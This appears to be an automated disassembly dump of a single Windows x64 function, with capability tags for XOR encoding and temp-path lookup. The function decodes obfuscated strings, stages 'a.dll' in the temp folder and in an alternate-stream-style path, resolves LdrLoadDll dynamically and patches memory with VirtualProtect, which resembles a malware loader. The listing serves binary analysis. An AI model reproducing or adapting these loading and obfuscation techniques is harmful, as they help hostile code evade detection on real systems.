Function at 0x140003c70
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x2f8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov r9d, 0x30
mov rcx, rax
mov qword [rsp + 0x20], 0
lea rsi, [rsp + 0xe0]
mov r8, rsi
call fcn.140002d50
test eax, eax
jns 0x140004160
lea r14, [rsp + 0x70]
xor r10d, r10d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x60], r14
mov word [rsp + 0x70], r10w
mov qword [rsp + 0x30], rax
call fcn.140003060
mov ebp, eax
mov rdx, rsi
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov rcx, rsi
lea rdi, [rsp + 0xd0]
lea rbx, [rsp + 0xc0]
mov qword [rsp + 0xc0], rdi
call sub.msvcrt.dll_wcslen
mov rdx, rsi
mov rcx, rbx
lea r8, [rsi + rax*2]
call fcn.140002ea0
lea rsi, str.a.dll
mov rcx, rsi
call sub.msvcrt.dll_wcslen
mov r8, rax
movabs rax, 0x1fffffffffffffff
sub rax, qword [rsp + 0xc8]
cmp rax, r8
jb 0x140004320
mov rdx, rsi
mov rcx, rbx
call fcn.1400f5ae0
lea r13, [rsp + 0x90]
lea rcx, [rax + 0x10]
mov qword [rsp + 0x80], r13
mov rdx, qword [rax]
cmp rdx, rcx
je 0x1400041e8
mov qword [rsp + 0x80], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x90], rdx
mov rdx, qword [rax + 8]
mov qword [rax], rcx
xor r9d, r9d
mov rcx, qword [rsp + 0xc0]
mov qword [rax + 8], 0
mov qword [rsp + 0x88], rdx
mov word [rax + 0x10], r9w
cmp rcx, rdi
je 0x140003dc9
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + rax + 2]
call fcn.14010ab40
mov r8d, 0x3e51
mov ecx, 0x39
movzx r12d, bpl
mov dword [rsp + 0xa0], 0x505f1458
lea rsi, [rsp + 0xa0]
mov word [rsp + 0xa4], r8w
lea r8, [rsp + 0xa6]
mov rax, rsi
sub ecx, esi
nop dword [rax]
lea edx, [rcx + rax]
xor byte [rax], dl
add rax, 1
cmp rax, r8
jne 0x140003e08
mov rcx, rsi
mov qword [rsp + 0xc0], rdi
call sub.msvcrt.dll_strlen
lea rcx, [rsp + 0x80]
mov rdx, rsi
mov qword [rsp + 0x38], rcx
lea r8, [rsi + rax]
mov rcx, rbx
call fcn.140002d70
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x30]
mov r8d, r12d
mov rdx, rbx
mov r9, rax
mov qword [rsp + 0x38], rax
call fcn.1400034d0
mov rcx, qword [rsp + 0xc0]
mov r12d, eax
cmp rcx, rdi
je 0x140003e83
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.14010ab40
test r12b, r12b
je 0x140004111
mov rax, qword [str.WN_PQ]
mov ecx, 0x422d
lea r8, [rsp + 0xca]
mov word [rsp + 0xc8], cx
mov ecx, 0x39
mov qword [rsp + 0xc0], rax
sub ecx, ebx
mov rax, rbx
nop word [rax + rax]
lea edx, [rcx + rax]
xor byte [rax], dl
add rax, 1
cmp r8, rax
jne 0x140003ec0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.LdrLoadDll
mov rcx, rax
call r15
movdqa xmm0, xmmword [str.kNWuSWK]
mov ecx, 0x39
mov dword [rsp + 0xd0], 0x2b25233b
lea r8, [rsp + 0xd5]
mov byte [rsp + 0xd4], 0x4d
sub ecx, ebx
mov qword [rsp + 0x48], rax
mov rax, rbx
movaps xmmword [rsp + 0xc0], xmm0
nop dword [rax + rax]
lea edx, [rcx + rax]
xor byte [rax], dl
add rax, 1
cmp r8, rax
jne 0x140003f30
mov rdx, rbx
mov rcx, r12
call r15
mov qword [rsp + 0x40], rax
mov rax, qword [0x14026e820]
mov ecx, 0x39
lea r8, [rsp + 0xcd]
mov dword [rsp + 0xc8], 0x282f0625
sub ecx, ebx
mov byte [rsp + 0xcc], 0x45
mov qword [rsp + 0xc0], rax
mov rax, rbx
lea edx, [rcx + rax]
xor byte [rax], dl
add rax, 1
cmp r8, rax
jne 0x140003f80
mov rdx, rbx
mov rcx, r12
call r15
cmp qword [rsp + 0x40], 0
mov r12, rax
je 0x140004111
cmp qword [rsp + 0x48], 0
je 0x140004111
test bpl, bpl
jne 0x1400041b0
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rcx, rbx
mov qword [rsp + 0xc0], rdi
lea r8, [rdx + rax*2]
call fcn.140002e10
lea rbp, str.:a.dll
mov rcx, rbp
call sub.msvcrt.dll_wcslen
mov r8, rax
movabs rax, 0x1fffffffffffffff
sub rax, qword [rsp + 0xc8]
cmp rax, r8
jb 0x1400042f3
mov rdx, rbp
mov rcx, rbx
call fcn.1400f5ae0
lea rbp, [rsp + 0xb0]
lea rcx, [rax + 0x10]
mov qword [rsp + 0xa0], rbp
mov rdx, qword [rax]
cmp rdx, rcx
je 0x140004252
mov qword [rsp + 0xa0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rdx
mov rdx, qword [rax + 8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xc0]
mov qword [rax + 8], 0
mov qword [rsp + 0xa8], rdx
xor edx, edx
mov word [rax + 0x10], dx
cmp rcx, rdi
je 0x140004081
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + rax + 2]
call fcn.14010ab40
mov rdx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x40]
mov rcx, rbx
call rax
mov rax, qword [rsp + 0x48]
lea r9, [rsp + 0x58]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call rax
test eax, eax
js 0x1400040f2
mov rax, qword [0x14026e828]
lea rbx, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rdx, rbx
mov qword [rsp + 0x50], rax
call r15
test rax, rax
je 0x1400040cd
call rax
mov rcx, qword [rsp + 0x58]
mov r9, rbx
mov r8d, 4
mov edx, 8
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400040f2
mov rcx, qword [rsp + 0x58]
call r12
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbp
je 0x140004111
mov rax, qword [rsp + 0xb0]
lea rdx, [rax + rax + 2]
call fcn.14010ab40
mov rcx, qword [rsp + 0x80]
cmp rcx, r13
je 0x140004130
mov rax, qword [rsp + 0x90]
lea rdx, [rax + rax + 2]
call fcn.14010ab40
mov rcx, qword [rsp + 0x60]
cmp rcx, r14
je 0x14000414a
mov rax, qword [rsp + 0x70]
lea rdx, [rax + rax + 2]
call fcn.14010ab40
nop
add rsp, 0x2f8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0xe8]
lea r14, [rsp + 0x70]
mov qword [rsp + 0x60], r14
mov rax, qword [rax + 0x20]
mov rdx, qword [rax + 0x68]
movzx eax, word [rax + 0x60]
shr rax, 1
test rdx, rdx
jne 0x14000418f
test rax, rax
jne 0x140004314
lea rdi, [rsp + 0x60]
lea r8, [rdx + rax*2]
mov rcx, rdi
mov qword [rsp + 0x30], rdi
call fcn.140002ea0
jmp 0x140003cdb
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
lea rbp, [rsp + 0xb0]
mov rcx, rsi
mov qword [rsp + 0xa0], rbp
lea r8, [rdx + rax*2]
call fcn.140002e10
jmp 0x140004081
mov rdx, qword [rax + 8]
mov r9, r13
lea r8, [rdx + rdx + 2]
mov rdx, rcx
cmp r8d, 8
jae 0x14000422b
xor r10d, r10d
test r8b, 4
je 0x140004212
mov r10d, dword [rdx]
mov dword [r9], r10d
mov r10d, 4
and r8d, 2
je 0x140003d8b
movzx edx, word [rdx + r10]
mov word [r9 + r10], dx
jmp 0x140003d8b
mov r10d, r8d
xor edx, edx
and r10d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r11, qword [rcx + r9]
mov qword [r13 + r9], r11
cmp edx, r10d
jb 0x140004234
lea r9, [r13 + rdx]
add rdx, rcx
jmp 0x1400041fd
mov rdx, qword [rax + 8]
mov r9, rbp
lea r8, [rdx + rdx + 2]
mov rdx, rcx
cmp r8d, 8
jae 0x140004295
xor r10d, r10d
test r8b, 4
je 0x14000427c
mov r10d, dword [rdx]
mov dword [r9], r10d
mov r10d, 4
and r8d, 2
je 0x140004045
movzx edx, word [rdx + r10]
mov word [r9 + r10], dx
jmp 0x140004045
mov r10d, r8d
xor edx, edx
and r10d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r11, qword [rcx + r9]
mov qword [rbp + r9], r11
cmp edx, r10d
jb 0x14000429e
lea r9, [rbp + rdx]
add rdx, rcx
jmp 0x140004267
mov rcx, qword [rsp + 0x38]
call fcn.1400f07d0
mov rcx, qword [rsp + 0x30]
call fcn.1400f07d0
mov rcx, rbx
call fcn.14001bb40
mov rsi, rax
mov rcx, rbx
call fcn.1400f07d0
mov rbx, rsi
jmp 0x1400042c7
lea rcx, [0x1401115aa]
call fcn.14010c0a0
mov rbx, rax
jmp 0x1400042c7
lea rcx, [0x140111570]
call fcn.14010bfb0
lea rcx, [0x1401115aa]
call fcn.14010c0a0
mov rbx, rax
jmp 0x1400042d1